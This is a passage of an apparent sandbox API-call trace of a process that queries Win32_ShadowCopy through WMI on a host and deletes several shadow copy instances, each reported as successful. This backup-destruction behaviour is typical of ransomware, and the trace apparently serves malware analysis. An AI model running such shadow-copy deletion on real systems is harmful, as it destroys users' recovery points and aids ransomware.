cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0039.407] lstrlenW (lpString="ASSOC") returned 5 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0039.407] lstrlenW (lpString="CREATE") returned 6 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0039.407] lstrlenW (lpString="DELETE") returned 6 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0039.408] malloc (_Size=0x18) returned 0x38c8b0 [0039.408] lstrlenA (lpString="") returned 0 [0039.408] malloc (_Size=0x2) returned 0x386420 [0039.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff9b314c, cbMultiByte=-1, lpWideCharStr=0x386420, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0039.408] free (_Block=0x386420) [0039.408] malloc (_Size=0x18) returned 0x38c930 [0039.408] lstrlenA (lpString="") returned 0 [0039.408] malloc (_Size=0x2) returned 0x386420 [0039.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff9b314c, cbMultiByte=-1, lpWideCharStr=0x386420, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0039.408] free (_Block=0x386420) [0039.408] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0039.408] malloc (_Size=0x3e) returned 0x38cb40 [0039.408] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0039.408] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0039.408] malloc (_Size=0x18) returned 0x38c9d0 [0039.408] free (_Block=0x38c930) [0039.408] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3b008700680007 | out: _String=0x0, _Context=0x3b008700680007) returned="*" [0039.408] lstrlenW (lpString="FROM") returned 4 [0039.408] lstrlenW (lpString="*") returned 1 [0039.408] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0039.409] malloc (_Size=0x18) returned 0x38c930 [0039.409] free (_Block=0x38c9d0) [0039.409] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3b008800680007 | out: _String=0x0, _Context=0x3b008800680007) returned="from" [0039.409] lstrlenW (lpString="FROM") returned 4 [0039.409] lstrlenW (lpString="from") returned 4 [0039.409] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0039.409] malloc (_Size=0x18) returned 0x38c9d0 [0039.409] free (_Block=0x38c930) [0039.409] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3b008900680007 | out: _String=0x0, _Context=0x3b008900680007) returned="Win32_ShadowCopy" [0039.409] malloc (_Size=0x18) returned 0x38c930 [0039.409] free (_Block=0x38c9d0) [0039.409] free (_Block=0x38cb40) [0039.409] malloc (_Size=0x18) returned 0x38c9d0 [0039.409] malloc (_Size=0x18) returned 0x38c8d0 [0039.409] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0039.409] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0039.409] free (_Block=0x38c8b0) [0039.409] free (_Block=0x38c9d0) [0039.409] ??0CHString@@QEAA@XZ () returned 0x1cf790 [0039.409] GetCurrentThreadId () returned 0xb4c [0039.409] malloc (_Size=0x18) returned 0x38c9d0 [0039.409] malloc (_Size=0x18) returned 0x38c8b0 [0039.409] malloc (_Size=0x18) returned 0x38c950 [0039.409] malloc (_Size=0x18) returned 0x38c970 [0039.410] malloc (_Size=0x18) returned 0x38c990 [0039.410] SysStringLen (param_1="\\\\") returned 0x2 [0039.410] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0039.410] malloc (_Size=0x18) returned 0x38c9b0 [0039.410] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0039.410] SysStringLen (param_1="\\") returned 0x1 [0039.410] malloc (_Size=0x18) returned 0x38c9f0 [0039.410] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0039.410] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0039.410] free (_Block=0x38c9b0) [0039.410] free (_Block=0x38c990) [0039.410] free (_Block=0x38c970) [0039.410] free (_Block=0x38c950) [0039.410] free (_Block=0x38c8b0) [0039.410] free (_Block=0x38c9d0) [0039.410] malloc (_Size=0x18) returned 0x38c9d0 [0039.410] malloc (_Size=0x18) returned 0x38c8b0 [0039.410] malloc (_Size=0x18) returned 0x38c950 [0039.410] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2e1390, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffa229d0 | out: ppNamespace=0xffa229d0*=0x2f3c18) returned 0x0 [0039.435] free (_Block=0x38c950) [0039.435] free (_Block=0x38c8b0) [0039.435] free (_Block=0x38c9d0) [0039.435] CoSetProxyBlanket (pProxy=0x2f3c18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0039.435] free (_Block=0x38c9f0) [0039.435] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.435] ??0CHString@@QEAA@XZ () returned 0x1cf6e0 [0039.435] GetCurrentThreadId () returned 0xb4c [0039.435] malloc (_Size=0x18) returned 0x38c9f0 [0039.435] lstrlenA (lpString="") returned 0 [0039.435] malloc (_Size=0x2) returned 0x386420 [0039.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff9b314c, cbMultiByte=-1, lpWideCharStr=0x386420, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0039.435] free (_Block=0x386420) [0039.435] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0039.435] SysStringLen (param_1="") returned 0x0 [0039.435] free (_Block=0x38c9f0) [0039.435] malloc (_Size=0x18) returned 0x38c9f0 [0039.435] IWbemServices:ExecQuery (in: This=0x2f3c18, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x1cf6e8 | out: ppEnum=0x1cf6e8*=0x2f3d18) returned 0x0 [0042.163] free (_Block=0x38c9f0) [0042.163] CoSetProxyBlanket (pProxy=0x2f3d18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0042.165] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0042.166] malloc (_Size=0x18) returned 0x38c9f0 [0042.166] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{43A11862-374F-4B42-8013-C8A59B8690F4}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0042.166] free (_Block=0x38c9f0) [0042.166] malloc (_Size=0x800) returned 0x38cb40 [0042.167] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0042.167] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0042.167] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{43A11862-374F-4B42-8013-C8A59B8690F4}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0042.167] malloc (_Size=0x68) returned 0x38d350 [0042.167] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{43A11862-374F-4B42-8013-C8A59B8690F4}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{43A11862-374F-4B42-8013-C8A59B8690F4}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0042.167] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0042.167] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0042.169] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0042.169] free (_Block=0x38d350) [0042.169] free (_Block=0x38cb40) [0042.169] LocalFree (hMem=0x42caf0) returned 0x0 [0042.169] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{43A11862-374F-4B42-8013-C8A59B8690F4}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0044.535] IUnknown:Release (This=0x2f3d80) returned 0x0 [0044.535] malloc (_Size=0x800) returned 0x38cb40 [0044.536] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0044.536] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0044.536] malloc (_Size=0x20) returned 0x38d350 [0044.536] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0044.536] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0044.536] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0044.536] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0044.536] free (_Block=0x38d350) [0044.536] free (_Block=0x38cb40) [0044.536] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0044.538] malloc (_Size=0x18) returned 0x38c9f0 [0044.538] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d3898, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{84D74FA3-DE98-47B0-806B-7C5805D67A02}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0044.538] free (_Block=0x38c9f0) [0044.538] malloc (_Size=0x800) returned 0x38cb40 [0044.538] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0044.538] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0044.538] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{84D74FA3-DE98-47B0-806B-7C5805D67A02}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0044.538] malloc (_Size=0x68) returned 0x38d350 [0044.538] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{84D74FA3-DE98-47B0-806B-7C5805D67A02}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{84D74FA3-DE98-47B0-806B-7C5805D67A02}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0044.538] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0044.539] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0044.539] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0044.539] free (_Block=0x38d350) [0044.539] free (_Block=0x38cb40) [0044.539] LocalFree (hMem=0x42caf0) returned 0x0 [0044.539] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{84D74FA3-DE98-47B0-806B-7C5805D67A02}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0047.104] IUnknown:Release (This=0x2f3d80) returned 0x0 [0047.104] malloc (_Size=0x800) returned 0x38cb40 [0047.104] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0047.104] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0047.104] malloc (_Size=0x20) returned 0x38e4c0 [0047.104] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38e4c0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0047.104] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0047.104] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0047.105] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0047.105] free (_Block=0x38e4c0) [0047.105] free (_Block=0x38cb40) [0047.105] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0047.109] malloc (_Size=0x18) returned 0x38c9f0 [0047.109] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1D028705-A254-45DE-BE10-D22FA08DBB3A}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0047.109] free (_Block=0x38c9f0) [0047.109] malloc (_Size=0x800) returned 0x38cb40 [0047.109] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0047.109] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0047.109] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1D028705-A254-45DE-BE10-D22FA08DBB3A}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0047.109] malloc (_Size=0x68) returned 0x38d350 [0047.109] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1D028705-A254-45DE-BE10-D22FA08DBB3A}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1D028705-A254-45DE-BE10-D22FA08DBB3A}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0047.109] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0047.109] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0047.110] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0047.110] free (_Block=0x38d350) [0047.110] free (_Block=0x38cb40) [0047.110] LocalFree (hMem=0x42caf0) returned 0x0 [0047.110] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1D028705-A254-45DE-BE10-D22FA08DBB3A}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0049.497] IUnknown:Release (This=0x2f3d80) returned 0x0 [0049.497] malloc (_Size=0x800) returned 0x38cb40 [0049.497] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0049.497] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0049.497] malloc (_Size=0x20) returned 0x38d350 [0049.497] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0049.498] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0049.498] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0049.498] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0049.498] free (_Block=0x38d350) [0049.498] free (_Block=0x38cb40) [0049.498] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0049.499] malloc (_Size=0x18) returned 0x38c9f0 [0049.499] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{51FFEAE1-0810-4889-92A9-E72417EBFA41}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0049.499] free (_Block=0x38c9f0) [0049.499] malloc (_Size=0x800) returned 0x38cb40 [0049.499] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0049.499] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0049.499] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{51FFEAE1-0810-4889-92A9-E72417EBFA41}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0049.499] malloc (_Size=0x68) returned 0x38d350 [0049.499] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{51FFEAE1-0810-4889-92A9-E72417EBFA41}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{51FFEAE1-0810-4889-92A9-E72417EBFA41}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0049.499] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0049.499] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0049.500] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0049.500] free (_Block=0x38d350) [0049.500] free (_Block=0x38cb40) [0049.500] LocalFree (hMem=0x42caf0) returned 0x0 [0049.500] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{51FFEAE1-0810-4889-92A9-E72417EBFA41}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0051.271] IUnknown:Release (This=0x2f3d80) returned 0x0 [0051.271] malloc (_Size=0x800) returned 0x38cb40 [0051.271] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0051.271] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0051.271] malloc (_Size=0x20) returned 0x38d350 [0051.271] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0051.271] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0051.271] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0051.271] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0051.271] free (_Block=0x38d350) [0051.271] free (_Block=0x38cb40) [0051.271] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0051.272] malloc (_Size=0x18) returned 0x38c9f0 [0051.272] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0051.272] free (_Block=0x38c9f0) [0051.272] malloc (_Size=0x800) returned 0x38cb40 [0051.272] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0051.272] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0051.272] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0051.273] malloc (_Size=0x68) returned 0x38d350 [0051.273] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0051.273] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0051.273] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0051.273] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0051.273] free (_Block=0x38d350) [0051.273] free (_Block=0x38cb40) [0051.273] LocalFree (hMem=0x42caf0) returned 0x0 [0051.273] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0052.906] IUnknown:Release (This=0x2f3d80) returned 0x0 [0052.906] malloc (_Size=0x800) returned 0x38cb40 [0052.907] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0052.907] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0052.907] malloc (_Size=0x20) returned 0x38d350 